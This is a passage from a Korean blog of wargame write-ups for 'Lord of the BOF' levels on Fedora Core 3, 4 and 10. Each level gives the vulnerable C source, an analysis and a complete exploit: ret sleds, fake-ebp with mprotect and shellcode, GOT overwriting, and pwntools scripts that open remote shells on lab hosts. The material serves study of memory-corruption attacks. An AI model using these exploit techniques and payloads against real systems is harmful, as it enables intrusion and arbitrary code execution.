Fedora Core 10 - Challenge [titan -> balog


[Summary]

1. ecx 레지스터에 1byte를 0x00(null)로 덮어써 이미 저장되어 있는 값을 이용한다.

2. ret sled를 이용하여 buffer의 어느 부분을 esp 레지스터가 가르키더라도 buffer 마지막 4바이트의 명령을 실행하도록 한다.

3. esp를 증가하는 어셈블리 명령을 이용하여 esp 레지스터 주소를 환경변수를 가리키도록 변조할 수 있다.


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- balog
	- Local BOF on Fedora Core 10 
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
        char buffer[256];
        if(argc != 2)
        {
                printf("argc Error!!\n");
                exit(-1);
        }

        // overflow!!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        return 0; 
}


[Analysis] 

먼저, 이번 문제부터는 프롤로그와 에필로그가 조금 달라진 것을 확인할 수 있다. Buffer overflow를 통해 ecx 레지스터를 변조할 수 있다고 하더라도 ret를 실행하기 직전에 esp를 ecx-0x4의 주소로 바꿔버리므로 eip 레지스터를 바꾸기 힘들어진다. 왜냐면 ASLR 상태에서 스택 주소가 계속 바뀌므로 정확한 주소로 변조가 어렵기 때문이다.  


이 문제의 경우 ecx 레지스터를 전체적으로 변조하기기 보다는 1바이트만 \x00으로 바꾸어 원래 ecx에 저장되어 있는 값을 이용하여야 한다. 따라서 buffer의 크기가 256이므로 임의로 256사이즈를 딱 맞춰줌으로써 문자열의 끝을 나타내는 \x00가 ecx 레지스터에 저장되는 값의 1바이트를 \x00 (null)으로 변조하게 된다.

ecx 레지스터에 들어가는 값의 1바이트를 00으로 변조할 경우, ret 명령이 실행될 때 esp가 buffer의 어느 지점을 가리키고 있을 것이다. 여기에서 ROP를 할 수 있겠지만, null을 사용할 수 없어 exploit이 매우 힘들다. 따라서 null을 사용할 수 있도록 다른 방법을 쓰는데 buffer에 ret sled를 통해 마지막 4바이트에서 main+112의 add esp, 0x114 명령을 수행하도록 하여 environ 영역으로 esp 레지스터를 변조할 수 있다. 이후 환경변수을 이용해서 execl 함수를 실행하면 된다.


[Exploit]

#include <stdio.h>
#include <stdlib.h>

int main(){
	char *environ[] = {
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"A\xc0\xca\xa3",	// 0xa3cac0 <execl>
		"AAA",
		"\xba\xcd\xad",	// 0xadcdba "sh"
		"\xba\xcd\xad",	// 0xadcdba "sh"
		"\x00",
		"\x00",
		"\x00",
		"\x00",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		0
	};
	
	// ret	=>	0x0804848f
	// main+112	=>	0x08048484
	// argv_payload	=>	ret * ((256-4)/4) + main_112
	char *argv[] = {"./balog", "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x84\x84\x04\x08", 0};
	execve("./balog", argv, environ);
}


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  

'Challenge > Fedora Core 10' 카테고리의 다른 글

Fedora Core 4 - Challenge [titan -> balog]  (0) 2018.07.16

 

 

 

 

 

Fedora Core 4 - Challenge

ALL CLEAR!

 

 

 

 


Fedora Core 4 - Challenge [enigma -> titan


[Summary]

1. main 함수에 존재하는 fgets 함수 실행 전의 add esp, ?의 어셈블리어를 이용하여 esp 레지스터 값을 증가시킬 수 있다.   

2. fgets 함수를 시작하기 전에 돌아갈 주소를 스택에 저장하는데, fgets 함수에서 이 주소를 다른 값으로 원하는 값으로 변조할 수 있다. 


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF
	- titan
	- Remote BOF on Fedora Core 4
	- hint : ? 
	- port : TCP 8888
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

static char buffer[40];
static void (*ftn)();

void print()
{
	printf("nothing here\n");
	fflush(stdout);
}

int main()
{
	char buf[48];
	ftn = print;

	printf("titan : What a tragic mistake.\n");
	printf("you : ");
	fflush(stdout);

	// give me a food
	fgets(buf,48,stdin);

	// buffer overflow!!
	strcpy(buffer,buf);

	// preventing RTL
	if(((int)ftn & 0xff000000) == 0)
	{
		printf("I've an allergy to NULL");
		exit(1);
	}

	// clearing buffer
	memset(buffer, 0, 40);

	ftn();
}


[Analysis] 

main 함수에서 fgets 함수를 call하는 어셈블리어보다 먼저 있는 어셈블리어 중 add esp, ? 명령을 반복하여 실행하여 esp 레지스터의 주소를 증가시킬 수 있다. fgets 함수가 stdin으로 입력된 값을 [ebp-52]의 주소에 48바이트 만큼 복사하는데 지속하여 esp 레지스터 주소를 증가시킨다면, 언제가는 [ebp-52]에서 48 바이트만큼의 범위 안에 fgets 함수를 실행하기 전에 다시 돌아갈 주소를 저장해 둔 영역이 포함된다. 따라서 eip 레지스터를 변조할 수 있게 되고 system 함수를 실행하여 임의 명령을 실행할 수 있게 된다.


[Exploit]

import time
from pwn import *

context(arch='x86', os='linux', endian='little')

p = remote("192.168.0.131", 8888)

gadget = 0x08048529
system = 0x7db0e7
binsh = 0x8bd987

# stage 1

payload = "A" * 40
payload += p32(gadget)
payload += "A" * 4
p.sendline(payload)


# stage 2

payload = "A" * 40
payload += p32(gadget)
payload += "A" * 4
p.sendline(payload)


# stage 3

payload = "A" * 8
payload += p32(system)
payload += "A" * 4
payload += p32(binsh)
payload += "A" * 20
payload += p32(gadget)
payload += "A" * 4
p.sendline(payload)

p.interactive()


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  


Fedora Core 4 - Challenge [cruel -> enigma


[Summary]

1. fedora core 4 부터는 stdin의 주소가 랜덤으로 변경 된다. 하지만 gdb를 통해 몇 번 실행시켜보면 0xb7f3f000, 0xb7fe6000, 0xb7fe7000와 같이 특정 오프셋의 문자열만 변경되는 것을 확인할 수 있다. 

2. fake ebp를 이용하여 stdin buffer의 주소로 esp 레지스터를 변경하여 pop ebp, pop eip, jmp eip를 실행하여 null이 포함되어 있는 라이브러리를 실행할 수 있다. 이후에 mprotect 함수를 실행하여 stdin buffer의 값에 실행 권한을 주고 해당 주소로 jmp 하여 쉘코드를 실행하여 쉘을 획득할 수 있다.


[Sourcecode]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - enigma
        - Remote BOF on Fedora Core 4
        - hint : ? 
        - port : TCP 7777
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int vuln(int canary,char *ptr)
{
	char buffer[256];
	int *ret;
        
	// stack overflow!!
	strcpy(buffer,ptr); 

	// overflow protected
	if(canary != 0x31337)
	{
		printf("who broke my canary?!");
		exit(1);
	}

	// preventing RTL
	ret = &canary - 1;
	if((*ret & 0xff000000) == 0) 
	{
		printf("I've an allergy to NULL");
		exit(1);
	}

	// clearing attack buffer
	memset(ptr, 0, 1024);

	return 0;
}

int main()
{
	char buffer[1024];

	printf("enigma : The brothers will be glad to have you!\n");
	printf("you : ");
	fflush(stdout);

	// give me a food!
	fgets(buffer, 1024, stdin);

	// oops~!
	vuln(0x31337, buffer);
	
	// bye bye
	exit(0);
}


[Analysis] 

해당 문제에서는 canary가 나온다. canary가 ret 뒷 부분에 위치하고 값 또한 0x31337 이므로, null이 포함되어 있어 20행의 strcpy 함수를 실행하면 canary 부분까지만 복사하게 되므로 payload가 canary에서 짤리게 된다. 하지만 fgets 같은 함수는 stdin buffer에 null을 포함한 payload가 모두 남아 있는데 이를 이용하면 된다.

leave 명령을 다시 한번 더 실행하여 esp 레지스터를 변조할 수 있고, 이어 ebp에 특정 값을 넣을 수 있다. 또한 ret를 실행함으로써 esp 레지스터 주소에 있는 값으로 이동할 수 있다. 따라서 fake ebp 기법을 이용하여 stdin에 특정 메모리 영역에 있는 값을 실행할 수 있다. 이어 mprotect를 실행하여 메모리 특정 영역에 실행권한을 주고 해당 영역으로 jmp를 수행하면 쉘코드를 실행할 수 있다.

이 문제에서 변수는 stdin buffer의 주소가 유동적이라는 건데 0x00~0xff 범위이므로 브루트 포싱을 사용하여 문제를 해결할 수 있다.


[Exploit]

import time
from pwn import *

cnt = 0

while True:
	cnt += 1
	log.info("count : %d" % cnt)
	context(arch='i386',os='linux')

	p = remote("192.168.0.131", 7777)

	shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
	
	canary = 0x31337
	leave_ret = 0x0804858e
	stdin = 0xb7f5e000
	mprotect = 0x86d240

	payload = "\x90" * (260 - len(shellcode)) + shellcode
	payload += p32(stdin + 268)
	payload += p32(leave_ret)
	payload += p32(canary) 
	payload += p32(mprotect)
	payload += p32(stdin)
	payload += p32(stdin)
	payload += p32(1024)
	payload += p32(7)

	if __name__ == '__main__':
		p.sendline(payload)
		time.sleep(0.1)
		p.sendline('id')
		time.sleep(0.1)
		if "uid=" in p.recv(1024):
			log.info("Success!!")
			p.interactive()
		else:
			p.close()


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  


Fedora Core 4 - Challenge [dark_stone -> cruel


[Summary]

1. ret sled를 이용하여 스택에 존재하는 바뀌지 않는 값을 인자로 이용한다.  쉘을 실행하는 역할의 스택에 존재하는 값의 파일명을 생성하여 해당 파일을 실행하여 쉘을 획득할 수 있다.


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- cruel
	- Local BOF on Fedora Core 4
	- hint : no more fake ebp, RET sleding on random library
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
    char buffer[256];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


[Analysis] 

main 함수의 ret 명령인 main+109에 break point를 걸고 프로그램을 실행시킨 후 스택을 살펴보았다. RET에 main+109 주소를 넣고 ret sled를 이용하여 stack을 쭉 타고 미끄러질 수 있는데 인자로 적합한 값이 나오면 ret sled를 멈추고 execl을 실행하면 된다. 스택을 살펴보면 0x008caff4의 주소가 인자로 적합해 보이는데 이를 인자로 넣고 실행하기 위해서는 ret sled를 이용하여 execl 함수 주소를 현재 RET 주소보다 28 바이트 뒤로 이동해야 한다. 28 바이트 뒤에 execl 함수의 주소를 입력하고, 심볼릭 링크를 이용하여 파일명을 \x3c\xad\x8c로 생성하면 execl이 해당 파일을 실행하므로 결론적으로 쉘을 획득할 수 있다.


[Exploit]

import os
from struct import * 

p = lambda x : pack("<L", x)

ret = 0x08048451
execl = 0x832d68

payload = 'A'*260 		# dummy
payload += p(ret) * 7	# ret sleding
payload += p(execl) 	# execl

target = 'cruel'

os.execv(target, (target, payload[:-1]))


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  

 

 

 

 

 

Fedora Core 3 - Challenge

ALL CLEAR!

 

 

 

 

Fedora Core 3 - Challenge [evil_wizard -> dark_stone


[Summary]

1. printf의 GOT를 system 함수 주소로 변조한 후, printf에 "/bin/sh"를 인자로 주고 실행하여 쉘을 획득할 수 있다.


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- dark_stone
	- Remote BOF on Fedora Core 3 
	- hint : GOT overwriting again
	- port : TCP 8888
*/

#include <stdio.h>

// magic potion for you
void pop_pop_ret(void)
{
	asm("pop %eax");
	asm("pop %eax");
	asm("ret");
}
 
int main()
{
	char buffer[256];
	char saved_sfp[4];
	int length; 
	char temp[1024];

	printf("dark_stone : how fresh meat you are!\n");
	printf("you : ");
	fflush(stdout);

	// give me a food
	fgets(temp, 1024, stdin);

	// for disturbance RET sleding
	length = strlen(temp);
   
	// save sfp 
	memcpy(saved_sfp, buffer+264, 4);
 
	// overflow!!
	strcpy(buffer, temp);

	// restore sfp 
	memcpy(buffer+264, saved_sfp, 4);

	// disturbance RET sleding
	memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

	// buffer cleaning 
	memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);

	printf("%s\n", buffer);
}


[Analysis] 

이번 문제는 49행의 memset 함수에서 stdin buffer를 0으로 초기화 하므로 Fedora Core 3 - Challenge [iron_golem -> hell_fire] 의 풀이법 처럼 stdin buffer를 이용할 수 없다. 따라서 printf의 GOT에 있는 값을 system 함수 주소로 변조하여 printf 함수를 실행하면 system 함수가 실행되도록 할 것이다.

gdb에서 info file 명령을 통해 바이너리의 PLT, GOT 영역을 확인할 수 있다. 위와 같이 PLT에는 jmp 명령을 통해 GOT를 참조하여 실제 함수로 이동하게 된다. 따라서 해당 함수에 대한 GOT를 다른 함수로 변조하게 되면 PLT를 실행하였을때, 다른 함수를 실행하게 할 수 있다. 필자는 printf의 GOT를 system으로 변조하고 printf에 /bin/sh를 인자로 주고 실행하여 쉘을 획득할 수 있었다.


[Exploit]

import time
from pwn import *
 
context(arch='i386',os='linux')
 
p = remote("192.168.0.103", 8888)
  
ppr = 0x080484f3
printf_plt = 0x8048408
printf_got = 0x804984c
strcpy_plt = 0x8048438
bss = 0x08049868

# 0x7507c0 <system> gadget

gadget_c0 = 0x80484d0
gadget_07 = 0x8048abc
gadget_75 = 0x8048bf8

# "/bin/sh\x00" gadget

gadget_slash = 0x8048114
gadget_b = 0x804829a
gadget_in = 0x80482ab
gadget_sh = 0x80482c8
gadget_null = 0x8048007

payload = "A" * 268				# dummy

# write "/bin/sh\x00" in bss
 
payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss)				# bss
payload += p32(gadget_slash)	# "/"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+1)			# bss
payload += p32(gadget_b)		# "b"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+2)			# bss
payload += p32(gadget_in)		# "in"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+4)			# bss
payload += p32(gadget_slash)	# "/"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+5)			# bss
payload += p32(gadget_sh)		# "sh"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+7)			# bss
payload += p32(gadget_null)		# "\x00"

# printf GOT overwriting 

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(printf_got)		# printf got
payload += p32(gadget_c0)		# \xc0

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(printf_got+1)	# printf got + 1
payload += p32(gadget_07)		# \x07

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(printf_got+2)	# printf got + 2
payload += p32(gadget_75)		# \x75

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(printf_got+3)	# printf got + 3
payload += p32(gadget_null)		# \x00

# exploit

payload += p32(printf_plt)		# system
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss)				# "/bin/sh\x00"
payload += "AAAA"				# dummy

payload += p32(printf_plt)		# system
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss)				# "/bin/sh\x00"
payload += "AAAA"				# dummy

if __name__ == '__main__':
    p.recvuntil("you : ")
    p.sendline(payload)
    p.interactive()


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  


 

 

 

 

 

Lord of BOF - Challenge

ALL CLEAR!

 

 

 

 

Fedora Core 3 - Challenge [hell_fire-> evil_wizard


[Summary]

1. printf의 GOT를 execl 함수 주소로 변조한 후, printf에 "amic"을 인자로 주고 심볼릭 링크를 통해 system("/bin/sh")를 실행하는 프로그램을 실행하도록 하여 쉘을 획득할 수 있다. 


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- evil_wizard
	- Local BOF on Fedora Core 3 
	- hint : GOT overwriting
*/

// magic potion for you
void pop_pop_ret(void)
{
	asm("pop %eax");
	asm("pop %eax");
	asm("ret");
}
 
int main(int argc, char *argv[])
{
	char buffer[256];
	char saved_sfp[4];
	int length; 

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// for disturbance RET sleding
	length = strlen(argv[1]);
   
	// healing potion for you
	setreuid(geteuid(), geteuid());
	setregid(getegid(), getegid());

	// save sfp 
	memcpy(saved_sfp, buffer+264, 4);
 
	// overflow!!
	strcpy(buffer, argv[1]);

	// restore sfp 
	memcpy(buffer+264, saved_sfp, 4);

	// disturbance RET sleding
	memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

	printf("%s\n", buffer);
}


[Analysis] 

gdb에서 info file 명령을 통해 바이너리의 PLT, GOT 영역을 확인할 수 있다. 위와 같이 PLT에는 jmp 명령을 통해 GOT를 참조하여 실제 함수로 이동하게 된다. 따라서 해당 함수에 대한 GOT를 다른 함수로 변조하게 되면 PLT를 실행하였을때, 다른 함수를 실행하게 할 수 있다. 필자는 printf의 GOT를 execl으로 변조하고 printf에 amic을 인자로 주고 실행하여 쉘을 획득할 수 있었다.


[Exploit]

import os
from struct import *
 
p = lambda x : pack("<I", x)
 
ppr = 0x0804854f
strcpy_plt = 0x8048494
printf_plt = 0x8048424
printf_got = 0x8049884
gadget_7a = 0x8048898
gadget_57 = 0x804969b
gadget_20 = 0x80480e4
gadget_00 = 0x8048007
shell = 0x8048a86

payload = 'A'*268   		# dummy

payload += p(strcpy_plt)	# strcpy plt
payload += p(ppr)			# pop_pop_ret
payload += p(printf_got)	# printf got
payload += p(gadget_20)		# 20

payload += p(strcpy_plt)	# strcpy plt
payload += p(ppr)			# pop_pop_ret
payload += p(printf_got+1)	# printf got + 1
payload += p(gadget_57)		# 57

payload += p(strcpy_plt)	# strcpy plt
payload += p(ppr)			# pop_pop_ret
payload += p(printf_got+2)	# printf got + 2
payload += p(gadget_7a)		# 7a

payload += p(strcpy_plt)	# strcpy plt
payload += p(ppr)			# pop_pop_ret
payload += p(printf_got+3)	# printf got + 3
payload += p(gadget_00)		# 00

payload += p(printf_plt)	# printf plt
payload += "AAAA"			# dummy
payload += p(shell)			# evil_wizard : 0x8048a86 ("amic")
payload += p(shell)			# evil_wizard : 0x8048a86 ("amic")
 
target = 'evil_wizard'

os.execv(target, (target, payload))


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  


Fedora Core 3 - Challenge [iron_golem -> hell_fire


[Summary]

1. buffer overflow 기법을 통해 RET를 변조한 후 leave 명령을 실행하여 ebp 레지스터와 eip 레지스터를 조작할 수 있다.

2. stdin의 임시버퍼를 이용하여 변조된 인자를 구성한 후 execl 함수를 실행시켜 쉘을 획득할 수 있다.  


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- hell_fire
	- Remote BOF on Fedora Core 3 
	- hint : another fake ebp or got overwriting 
	- port : TCP 7777
*/

#include <stdio.h>

int main()
{
	char buffer[256];
	char saved_sfp[4];
	char temp[1024];
  
	printf("hell_fire : What's this smell?\n");
	printf("you : ");
	fflush(stdout);

	// give me a food
	fgets(temp, 1024, stdin);
   
	// save sfp 
	memcpy(saved_sfp, buffer+264, 4);
 
	// overflow!!
	strcpy(buffer, temp);

	// restore sfp 
	memcpy(buffer+264, saved_sfp, 4);

	printf("%s\n", buffer);
}


[Analysis] 

main+222(ret)에 break point를 걸고 레지스터를 살펴보면 esp 레지스터와 ebp 레지스터가 92 바이트만큼 차이가 있는 것을 알 수 있다. buffer overflow를 통해 eip 레지스터를 main 함수의 leave 위치로 이동하게 되면 leave 명령이 실행되면서, 현재 ebp 레지스터에 존재하는 값이 esp로 이동하고 해당 주소에서 4바이트 만큼을 ebp에 입력한다. 따라서 leave를 실행 시킨 후 88 바이트 뒤에 ebp 레지스터에 입력될 값을 구성하게 되면 ebp 레지스터의 값을 변조할 수 있게 된다. 이어 ret 명령 또한 연달아 실행되므로 특정 함수도 실행시킬 수 있다. 

특정 함수와 실행될 인자까지 조작할 수 있게 되었지만, 어떤 함수와 인자를 조작해 단 한 번 실행하여 쉘을 획득할 수 있느냐가 문제 해결의 관건인데, 이 또한 stdin을 이용하여 우회할 수 있다. stdin을 살펴보면 null byte를 입력하여도 payload가 끊기지 않고 저장되는 것을 확인할 수 있다. 이를 이용하여 payload 제일 뒷 부분에 "/bin/sh\x00"를 삽입한 후 execl 함수에 해당 값의 주소를 인자로 넘겨주면 execl 함수를 통해 /bin/sh가 실행되고 성공적으로 쉘을 획득 할 수 있다.


[Exploit]

from pwn import *

context(arch='i386',os='linux')

p = remote("192.168.0.103", 7777)
 
leave_ret = 0x8048561
execl = 0x7a5720
fake_ebp = 0xf6ffe16c
binsh = 0xf6ffe180

payload = "A" * 268			# dummy
payload += p32(leave_ret)	# leave ret
payload += "B" * 88			# dummy
payload += p32(fake_ebp)	# fake ebp, stdin
payload += p32(execl + 3)	# skip prolog
payload += "C" * 4			# dummy
payload += p32(binsh)		# &"/bin/sh"
payload += p32(binsh)		# &"/bin/sh"
payload += "\x00" * 4		# null byte
payload += "/bin/sh\x00"	# "/bin/sh"

if __name__ == '__main__':
	p.sendline(payload)
	p.interactive()



잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  

+ Recent posts